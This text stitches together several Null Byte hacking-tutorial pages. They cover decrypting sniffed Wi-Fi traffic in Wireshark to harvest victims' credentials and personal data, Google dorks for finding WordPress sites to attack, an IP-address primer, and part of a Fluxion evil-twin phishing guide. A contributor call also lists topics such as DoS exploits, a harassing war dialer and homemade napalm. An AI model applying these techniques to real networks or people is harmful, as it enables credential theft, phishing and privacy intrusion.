Wireshark.sudo apt-get install wiresharkThe&&characters can be used between the two commands as I did in the screenshot above. This will instruct the terminal to first sync the package index with its sources, the Kali repositories. Then — and only if the update is successful — it will install Wireshark.Step 4: Start the Wireshark ToolWhen that's done, Wireshark can be found in the "Sniffing & Spoofing" category in the "Applications" menu. To start Wireshark, simply click on the icon.Step 5: Configure Wireshark to Decrypt DataTo configure Wireshark to decrypt data found in the .cap, click on "Edit" button in the top bar, then "Preferences," and expand the "Protocols" drop-down menu.Then, scroll down and select "IEEE 802.11." The box next toEnable decryptionmust be checked. Next, click on "Edit" to add decryption keys for a particular Wi-Fi network.A new window will pop up. This is where the password and router name are to be specified. The credentials should be entered with the password and router name separated by a colon (e.g., password:router_name).First, select the "wpa-pwd"Key type. This key type is required to set the WPA password in plain-text. The password to my "Null Byte" Wi-Fi network is a long encoded string, so I entered "bWN2a25yMmNuM2N6amszbS5vbmlvbg==:Null Byte" in theKeycolumn. Another example would be "Wonderfulboat555:NETGEAR72," where "Wonderfulboat555" is the password to a "NETGEAR72" router.When that's done, click "OK" to save the credentials. Wireshark will now automatically decrypt data belonging to the "Null Byte" Wi-Fi network when a .cap file is imported.Step 6: Perform Deep Packet Inspection (DPI)To import a .cap into Wireshark, click on the "File" button in the top bar, then click "Open." The .cap will be found in the /tmp directory; Select it, then click "Open." Depending on how long the Airodump-ng terminal collected data, it could take Wireshark several minutes to import and decrypt all the data.After opening the .cap in Wireshark, there may be thousands of lines of raw web traffic. This can be intimidating. Fortunately, Wireshark hasDisplay Filterswhich can be used to manage and filter out packets that aren't useful. There are manydisplay filter cheat sheetsonline to help Wireshark users find relevant and sensitive data, but I'll cover a few useful display filters below which attackers use to inspect activity taking place on the network.1. Find POST DataThe HTTPPOST request methodis often used when uploading a file or submitting usernames and passwords to a website. When someone logs into Facebook or posts a comment at the bottom of this article, it's done using a POST request.POST data in the .cap will most likely hold the most compromising and revealing data. Attackers may find, usernames, passwords, real names, home addresses, email addresses, chat logs, and much more. To filter POST data, enter the below string into the display filter bar.http.request.method == "POST"In my example, I subscribed to arandom technology websiteI found online. It's not unreasonable to believe someone would request email notifications from their favorite news sites.If POST requests were found in the .cap, theInfocolumn will display which lines contain POST data. Double-clicking on one of the lines will produce a new Wireshark window containing more information. Scroll down and expand the "HTML Form" drop-down to inspect the data.By inspecting the data collected from this single POST request, a lot of information belonging to someone on the network was discovered.Collected data included a first name, last name, and an email address which can later be used for phishing and targeted hacks.There's also a password form required by the website, which can be added to password lists and brute-force attacks. It's not uncommon for people to reuse passwords across multiple accounts. It's certainly possible that password will grant an attacker access to the Gmail address also found in the POST data.Also discovered in the data is a name of a company, presumably where Christopher Hadnagy is employed. This information can be used by an attacker for further social engineering.Strolling down the POST data a bit further, there's even more information to be found. A full home address, ZIP code, and phone number is also included in just one POST request. This would inform the attacker of exactly which home the Wi-Fi router belongs to and a phone number which can be used for further social engineering should the hacker decide tosend spoofed SMS messages.2. Find GET DataTheHTTP GETrequest method is used for fetching or downloading data from web servers. For example, if someone viewsmy Twitter account, their browser would use a GET request to fetch resources from the twitter.com web servers. Inspecting the .cap for GET requests wouldn't reveal usernames or email addresses but it will allow attackers to develop a comprehensive profile of a persons web browsing habits.To filter GET data, enter the below string into the display filter bar.http.request.method == "GET"Many websites append .html or .php to the end of the URLs. This can be an indicator of a website viewed by someone on the Wi-Fi network.It might be helpful to filter out CSS and font related GET requests, as these kinds of requests happen silently in the background when we view web pages online. To filter out CSS content, use the below Wireshark filter.http.request.method == "GET" && !(http.request.line matches "css")The&&here literally means "and." The!(exclamation point) here means "not," so Wireshark is instructed to display only GET requestsand notto display HTTP request lines that matchcssin any way. This will hopefully filter out some useless information related to benign web resources.Clicking on one of the lines to investigate and expanding the "Hypertext Transfer Protocol" data will provide more identifiable information.We can see the target is using a Windows computer with aChrome browser user-agent. As far as hardware reconnaissance goes, this information is highly valuable. Attackers can now, with a great degree of certainty, generate a payload for this user specific to the Windows operating system being used.The "Referer" tells us what website the target user was viewing immediately before viewing tomsitpro.com. This most likely means they found the "white hat hacker career" article via some duckduckgo.com query.Referrer's containing DuckDuckGo over Google's search engine might indicate a privacy-conscious user, as Google is known for havinginvasive policiesharmful to its customers. Someone with a concern for privacy might also have an interest in security software likeantivirus programs. This is something attackers will consider when generating a targeted payload.3. Find DNS DataEncrypted internet trafficwill transmit over port 443 by default. One might think to use thetcp.port == 443display filter to better understand what kind of websites are being viewed but that will usually produce raw IP addresses in the destination column which isn't a very convenient way of quickly identifying domains. In fact, a more efficient way of identifying websites sending and receiving encrypted data is by filtering DNS requests.TheDomain Name System(DNS) is used to resolve websites names into machine-readable IP addresses like https://104.193.19.59. When we visit a domain such as null-byte.wonderhowto.com, our computer converts the human-readable domain name into an IP address. This happens every time we use a domain name to view websites, send emails, or chat online.Searching the .cap for DNS requests will further aid attackers in understanding which websites are frequently visited by people connected to the router. Attackers will also be able to see domain names belonging to websites sending and receiving encrypted data to and from websites like Facebook, Twitter, and Google.To filter DNS data, enter the below string into the display filter bar.dnsViewing the DNS requests may provide some interesting information. We can clearly see this user browsing travel websites like expedia.com and kayak.com. This might suggest the user will soon be away from home for an extended period of time.The data is encrypted so attackers can't learn the flight destination or departure information, but using this information to send phishing emails might make it possible for an attacker tosocial engineerthe user into divulging personal and financial information.For example, if DNS requests for a particular banking website were also discovered, attackers could fake an email from that bank and claim a large Expedia credit card transaction just took place. The fake email might also contain accurate information relating to the target with a link to a fake banking website (controlled by the attacker) dedicated to harvesting banking credentials.How to Keep Your Personal Data Safe from HackersAt a glance, all of the personal data discovered in the .cap file might appear harmless or innocuous, but inspecting just a few packets, I learned the target's real name, username, password, email address, home address, phone number, hardware manufacturer, operating system, browser fingerprint, web browsing habits, and more.All of this data was collected without ever connecting to the router. There would be no way for victims to know this was happening to them. All of this data can be used by attackers to launch an elaborate and targeted hack against companies and individuals.Keep in mind, all of the personally identifiable information uncovered in this article is also available to internet service providers (ISP) like Verizon and AT&T. Readers should be aware that DPI isperformed by ISPsevery single day. To protect ourselves from such activity, we can:Use stronger passwords. Brute-forcingweak passwordsis an attacker's primary method for gaining access to Wi-Fi routers.Use a Virtual Private Network (VPN). With a secure connection between you and the VPN provider, all of the data uncovered in this article would not have been accessible to an attacker. However, if the VPN provider isloggingor performing deep packet inspection, then all of the data would then be easily accessible to them as well.UseTor. Unlike VPNs, the Tor network is built on a different security model which doesn't relinquish all of our data to one single network or ISP.Use SSL/TLS.Transport Layer Security(HTTPS) will encrypt your web traffic between your browser and the website. Tools likeHTTPSEverywheremay help ensure the details of your web browsing traffic are encrypted.Until next time, follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:How to Protect Yourself from Being HackedFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byDoug Davey/Flickr; Screenshots by tokyoneon/Null ByteRelatedHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Recover a Lost WiFi Password from Any DeviceHow To:Intercept Images from a Security Camera Using WiresharkHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)News:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:See Who's Clogging Up Your Wi-Fi Network with These Free Mobile AppsHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Spy on Network Relationships with Airgraph-NgHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:The Ultimate Guide to Hacking macOSAndroid Basics:How to Connect to a Wi-Fi NetworkMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Securely Sniff Wi-Fi Packets with SniffglueHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Hack Wi-Fi Networks with BettercapHow To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Automate Wi-Fi Hacking with Wifite2How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Seize Control of a Router with RouterSploitHow To:Break into Router Gateways with PatatorHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Get Free Wi-Fi from Hotels & MoreHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP Poisoning
Weekend Homework: How to Become a Null Byte Contributor « Null Byte :: WonderHowTo
We're officially seeking Null Byters on a weekly basis who would enjoy taking their time to educate the community. Contributors will write tutorials, which will be featured on the Null Byte blog, as well as the front page of WonderHowTo (if up to par, of course). This is a job meant for anyone with the will to share knowledge. There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking top-notch! You can write tutorials of any skill level, and anything you feel like sharing that is related to tech, hacking, psychology and social manipulation, or whatever other life hacks that you think mesh with our community.This isn't inclusive of solely tutorials, even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in a comment below with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.TopicsHow to Perform Buffer Overflow Exploits(Sol Gates, Pending)—Teach how to perform a basic buffer overflow exploit on any program of your choice. A video must be recorded of the overflow (due to sheer complexity of the exploit).Create a GoogleBot with Python & LurkLib(Frage Herpington, Pending)—Demonstrate how to create a bot to return Google search results using Lurklib, byLK-.How to Code a Web Spider in Python(Christopher Voute, Pending)—Teach everyone how to code a Python bot to crawl web pages and export them to a prettily-parsed list. Used for information gathering.How to Nmap from Behind a Proxy—Teach users how to Nmap from behind a proxy to mask traffic. I would also love if you added in BASH proxying, since the two are similar.Google Dorking for Weak Websites(Mr Falkreath, Completed)—A lesson about Google search queries that locate websites weak to particular vulnerabilities.How to Switch to Linux ZSH(Matthew Herman, Completed)—Teach users how to change the default shell and console over to the faster ZSH shell.Guide to Asking Questions—Teach the new Null Byters how to ask questions and what we expect before being asked a question (the person researched the topic beforehand, isn't just being lazy, etc).How to Make Homemade Napalm(The Bird AndBear, Pending)—Teach users how to make Napalm with home supplies. If you need to know how it's done, just ask me.How to Create a Custom Dictionary Maker in Python—Teach our coders how to make a custom dictionary maker for password cracking. Script should be able to do full ASCII words, and very clean and short.How to Code a War Dialer in Python Using Gvoice API—Again, if anyone needs the concepts, just ask me how and I will tell you how it's done and help you when you need it. Create a program to call people using Google voice and hang up (major point if you can push audio through from a local sound file when they pick up!).How to DOS Attack a Windows Media Share—Code an exploit to engage in a DOS attack against a Windows box running a media share. A successful DOS is when legitimate users cannot use the resources. This is simpler than you may think, inquire for details for proof-of-concept.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viasmi-onlineRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte Contributor (3/9/2012)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)How To:Things to Do on WonderHowTo (03/07 - 03/13)Farewell Byte:Goodbye Alex, Welcome AllenNews:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?How To:Things to Do on WonderHowTo (02/29 - 03/06)News:A New Ink & Paint!How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Null CommunityA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Things to Do on WonderHowTo (03/14 - 03/20)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Things to Do on WonderHowTo (11/30 - 12/06)How To:Run a Virtual Computer Within Your Host OS with VirtualBoxHow To:Get Unlimited Money in Skyrim by Hacking Your Game SavesHow To:Permanently Delete Files to Protect Privacy and Passwords
Hack Like a Pro: How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites) « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!WordPress-based websites are among the most numerous on this planet (maybe other planets too, but I can't vouch for that). According to WordPress's own website, WordPress powers 23% of the top 10 million websites. That's approximately 2.3 million sites using WordPress!WordPress websites arealsoamong the mostvulnerablewebsites. Generally, WordPress hosts small- to medium-sized businesses that are not the most vigilant at installing patches and updates. This makes for some broad and fertile ground forweb app hacking!In this tutorial, before we advance to vulnerability assessment and exploitation, I want to show how to identify these potentially vulnerable WordPress websites.WordPress VulnerabilitiesWordPress is among the Internet's most widely used content management systems (CMS). In addition, it is among the most vulnerable. A quick glance atSecurityFocus's websitereveals 16 pages of known vulnerabilities to WordPress sites, with the most recent group coming just last month.A similar analysis of exploits particular to WordPress onExploit Databasereveals 784 exploits. The most recent of these are just this month, October 2015.These two bits of information make it clear that WordPress provides fertile ground forweb app hacking.Step 1: Finding Sites Built on WordPressThe first step here is to identify whether the website is running WordPress. If we are examining a particular website and we want to know whether it runs WordPress, there is a website calledBuiltWithwhere we can enter the domain name and it will return information on the technologies that the site was built with.In this case, let's take a look at theToronto Standard, a venerable newspaper of Canada's largest city. When we enter its URL into the BuiltWith website, it returns that following information.As you can see, it reveals to us that the Toronto Standard runs on Apache and is hosted by BlueHost. If we scroll down a bit, we can see that BuiltWith tells us that the newspaper uses WordPress as its CMS.Step 2: Google Dorks to Find WordPress SitesThere are numerous signatures of a WordPress website. These include unique directories, login pages, tags, text, etc. For those of you familiar with Google hacking, you can usually find those signatures in the URL.A few usefulGoogle dorksto identify WordPress websites include:"index of" inurl:wp-content/This dork returned 10,400,000 sites."inurl:"/wp-content/plugins/wp-shopping-cart/"This dork returned 4,230 sites."inurl:wp-content/plugins/wp-dbmanager/"This dork returned 290 sites.I'm sure that you can come up with many more dorks that will return WordPress sites, but these should provide you with plenty of sites to practice on for awhile.While doing Google hacking, you might get a webpage from Google with a CAPTCHA. Don't worry, Google is just trying to make certain you aren't running a script which violates the Google EULA.Step 3: Tools for Identifying WordPress SitesThere are a number of tools that you can use to identify WordPress websites. Probably the two best are the browser extensionsChrome Snifferfor the Chrome web browser (it's also availableon GitHub) andBuiltWithfor the Mozilla web browsers (these include Firefox and Kali's IceWeasel).With the Chrome Sniffer extension installed, when I navigate totorontostandard.com, a small WordPress logo appears in the the right side of the URL box indicating that this site runs WordPress.Now, whenever you navigate to a website, your browser will identify the technology the site is built with. This, obviously, can be useful for all types ofweb app hacking, not just WordPress.Keep Coming Back for More Web App Hacking!In my next tutorial inthis series, we look at ways to find known vulnerabilities in these websites and, ultimately, the tools and techniques for exploiting them, so keep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Set Up a Pentesting Lab Using XAMPP to Practice Hacking Common Web ApplicationsNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Hack Hackademic.RTB1 Machine Part 1Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:A Security Bug Just Made It Risky to Open Links on Your iPhone—Here's How to Protect YourselfHow To:Launch Apps, Tasks, & Websites Directly from Your iPhone's Notification CenterHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Gain Control of WordPress by Exploiting XML-RPCHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Check for the Stagefright Exploit on Your Android DeviceHow To:Create a portfolio website for videos using WordPressHack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateAR:Everytime You See BP Logo, See 3D Oil SpillHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:install a favicon on wordpressHow To:The Official Google+ Insider's Guide IndexHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitGoogle Dorking:AmIDoinItRite?How To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesExploiting XSS with BeEF:Part 1Community Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
Hacker Fundamentals: A Gentle Introduction to How IP Addresses Work « Null Byte :: WonderHowTo
Imagine you're in Paris and you need to get to Versailles. Looking around for directions, you come to a cold realization—you do not speak a lick of French! How are you going to get to Versailles and what happens if there is a detour? It will be a difficult struggle, and you'd probably get lost and eventually fail. This is why it's important to know some of the country's language before taking that trip in the first place.This is the same approach you should take with IT security. Only this time, you are not in Paris, you are in your bedroom looking for open and vulnerable machines on some host ranges. You look at the IP addresses in slight confusion—you know what an IP address is, but do you know what it does? Can you tell how large the network is from its IP? This is the language of the Internet.In this article, I will provide a gentle technical introduction to IP addresses, explaining how they are more then just a bunch of numbers that point to a resource. These networking topics will slowly ramp up, and by the time all is said and done in this series, you will find yourself much more comfortable at the helm.What Is an IP Address? Really?In a nutshell, an IP address is a unique identifier for a location and/or resource on the Internet or TCP/IP network. I am sure most of you reading this knew that, so let's break those numbers down a little bit.The current version of Internet Protocol, or IP, is version 4. This version allows fouroctetsof data to represent an IP address. Each octet is considered to be the same as a byte, and there are 8 bits in every octet for a total of 32 bits. A bit itself can be one of two values, usually represented as 1 or 0. Finally, each octet is separated by a period.The newer IP version 6 (IPv6) standard features addresses 16 bytes (128 bits) in length, however this has not gained widespread support yet, and IPv4 remains the standard still today.There are two notations to show an IPv4 address—decimal and binary. You are most likely familiar with the former example of 86.118.34.65. Probably less so with a binary address like 11000001 10000011 00011011 11111111.Want to learn more about binary? Clickhere.IP Address ClassesAn address is also divided into three classes; A, B, and C. While therearetwo more classes, they lay beyond our scope right now, as they are only used for special roles likemulticasting. These three classes have a fixed number of IP addresses, as shown below. In each address, there is a "class identifier," a "network identifier" and a "host identifier" encoded.As you can see, an A-class network has a large amount of possible hosts, whereas a C-class network only has 254 available.I know you're already burning to know why a C-class only has 254 host addresses available, and not the full 256. If you calculated the number of hosts for the B- and A-classes, too, you'll have realized that they are also smaller by two hosts from the theoretical maximum. The answer is that the lowest address, the one with all bits in the host part set to 0 is used to address the network itself, and the highest address, having all bits of the host part set to 1, is used as broadcast address, meaning all hosts in this net.A bit can be one of two values, usually represented as 1 or 0.A byte is 8 bits.As a binary sequence of eight 1's or 0's. Ex: 11001100As a decimal number. For example, the above binary number's decimal equivalent is 204.As there are 8 bits in a byte, each byte can represent 256 possible values.So, the binary would be 11111111.11111111.11111111.11111111, making the address you see 255.255.255.255.Likewise, a binary address of 00000000.00000000.00000000.00000000 would be 0.0.0.0.This all might seem confusing now, but hang tight, because it will make much more sense in my next article about subnets and diving up a network. For right now, just file this little bit of information away. The key is to take away the idea of separate classes and how they determine network size.Domain Name SystemHumans, being somewhat different from computers, have difficulty remembering lots of similar numbers. Working with names is much easier for us and less prone to errors. That's why you rarely see the bare numbers on the Internet. In fact, when you enter a URL into your browser to view a website, your request must first be translated from the readable written address, into an IP address that can be routed. This translation is done by the Domain Name System, in short: DNS.If you send off a request to connect to a certain website, let's say www.yahoo.com, you actually first send a request to the DNS server to lookup and translate into the correct IP address of 209.191.122.70. With this IP address, you then make the actual connection to the website. This happens behind the scenes and usually quick enough you don't notice.Also note, there is nothing stopping you from just typing an IP address into your web browser and connecting that way either.Final ThoughtsOnce you grasp these entry level networking concepts, they will be the foundation for your hacking. As you understand network architecture more, you will understand how some attacks work, and why others do not. I have always thought the proper hacker must have knowledge in programming, networking and operating systems.In the next article, I will go into how to divide your networks up using subnetting. We will then go overDMZsand why you must know how to work through them in order to get to the real target and all of the juicy data.Commonly Used Addresses and Values127.0.0.1 — The loopback interface address. All 127.x.x.x addresses are used by the loopback interface which copies data from the transmit buffer to the receive buffer of theNICwhen used.0.0.0.0 — This is reserved for hosts that don't know their address and useBOOTPorDHCPto determine their addresses.255 — The value of 255 is never used as an address for any part of the IP address. It is reserved for broadcast addressing.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byGargasz,InfinitiyExplore,Taroma,StorageRelatedHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHacker Fundamentals:A Tale of Two StandardsHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Create Packets from Scratch with Scapy for Scanning & DoSingHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkRasberry Pi:Connecting on ComputerHow To:Understand & Use IPv4 to Navigate a NetworkHack Like a Pro:Abusing DNS for ReconnaissancePHP for Hackers:Part 1, Introduction and Setting UpNetworking Foundations:Basic IP Addressing (Part 2)Advice from a Real Hacker:Why I'm Skeptical That North Korea Hacked SonyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Advanced Nmap for ReconnaissanceHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Linux Basics for the Aspiring Hacker: Using Ship for Quick & Handy IP Address InformationHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Tactical Nmap for Beginner Network ReconnaissanceHow To:The Five Phases of HackingHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Assign a Static IP Address in Windows 7How To:Make a Change-of-IP Notifier in PythonHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Get Free Wi-Fi from Hotels & MoreHow To:Code a Basic TCP/IP Client & Server Duo in Python
How to Hack Wi-Fi: Capturing WPA Passwords by Targeting Users with a Fluxion Attack « Null Byte :: WonderHowTo
With tools such asReaverbecomingless viableoptions for pen-testers as ISPs replace vulnerable routers, there become fewer certainties about which tools will work against a particular target. If you don't have time to crack the WPA password or it'sunusually strong, it can be hard to figure out your next step. Luckily, nearly all systems have one common vulnerability you can count on — users!Social engineeringgoes beyond hardware and attacks the most vulnerable part of any system, and one tool that makes it super easy isFluxion. Even the most antisocial hacker can hide behind a well-crafted login page, and Fluxion automates the process of creating a fake access point to capture WPA passwords.Picking the Weakest Links to AttackUsers arealmost always the weakest link of a system, and so attacks against them are often preferred because they are cheap and effective. Hardware concerns can often be ignored if the users are sufficiently inexperienced with technology to fall for a social engineering attack. While social engineering attacks may raise flags within more tech-savvy organizations, phishing and spoofing attacks against users are the tool of first choicefor both nation states and criminal hackers.One of the most vulnerable targets to this kind of attack is asmall- or medium-sized businessfocused on an industry other than technology. These businesses usually have many vulnerable or unpatched systems with default credentials that are easy to exploit over their wireless network and are not likely to know what an attack looks like.How Fluxion Works Its MagicFluxion is the future — a blend of technical and social engineering automation that tricks a user into handing over the Wi-Fi password in a matter of keystrokes. Specifically, it's a social engineering framework using an evil twin access point (AP), integrated jamming, and handshake capture functions to ignore hardware and focus on the "wetware." Tools such asWifiphisherexecute similar attacks but cannot verify the WPA passwords supplied.Don't Miss:Create an Evil Twin Wireless AP to Eavesdrop on DataImage by Kody/Null ByteFluxion evolved from an advanced social engineering attack namedLindset, where the first tool was written mostly in Spanish and suffered from several bugs. Fluxion is a rewritten attack to trick inexperienced users into divulging the password/passphrase of the network.Fluxion is a unique tool in its use of a WPA handshake to not only control the behavior of the login page but the behavior of the entire script. It jams the original network and creates a clone with the same name, enticing the disconnected user to join. It presents a fake login page indicating the router needs to restart or load firmware and requests the network password to proceed. Simple as that.The tool uses a captured handshake to check the password entered and continues to jam the target AP until the correct password is entered. Fluxion usesAircrack-ngto verify the results live as they are entered, and a successful outcome means the password is ours.Don't Miss:Cracking WPA2-PSK Passwords Using Aircrack-NgChecking WPA password capture confirming through Aircrack-ng.Image by Kody/Null ByteTactically, the attack is only as good as the fake login screen. Many have been added to Fluxion since it was created, and it's possible to develop other screens with some research. In general, running the attack with default login screens will immediately call attention from a more experienced user or tech-savvy organization. The attack is most effective when targeted at whoever is the oldest or least tech-savvy in an organization. Sensitive APs withintrusion detection systemsmay detect and attempt to defend against the attack by blocking your IP in response to the integrated jamming.System Compatibility & RequirementsFluxion works on Kali Linux. Just make sure that you are fully updated or that you're running Kali Rolling to ensure the system and dependencies are current. You may run it on your dedicated Kali install in a virtual machine. If you're looking for a cheap, handy platform to get started on, check outour Kali Linux Raspberry Pi buildusing theRaspberry Pi 3orRaspberry Pi 4. The tool will not work over SSH since it relies on opening other windows.Don't Miss:Set Up a Headless Raspberry Pi with Kali LinuxFor it to work, we'll need to use a compatible wireless network adapter. Check outour list of Kali Linux compatible wireless network adaptersor just grabour most popular adapter for beginners. Make sure that your wireless adapter capable of monitor mode is plugged in and recognized by Kali and seen wheniwconfigorifconfigis entered.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Capture WPA Passwords with FluxionOur goal in this article will be to target an organization via its WPA encrypted Wi-Fi connection. We will launch an attack against users attached to the access point "Probe," capture a handshake, set up a cloned (evil twin) AP, jam the target AP, set up a fake login page, and confirm the captured password against the handshake.Step 1: Install FluxionThe developer of Fluxion shut downthe productrecently, but you can get an older version of it to use still. To get the older version of 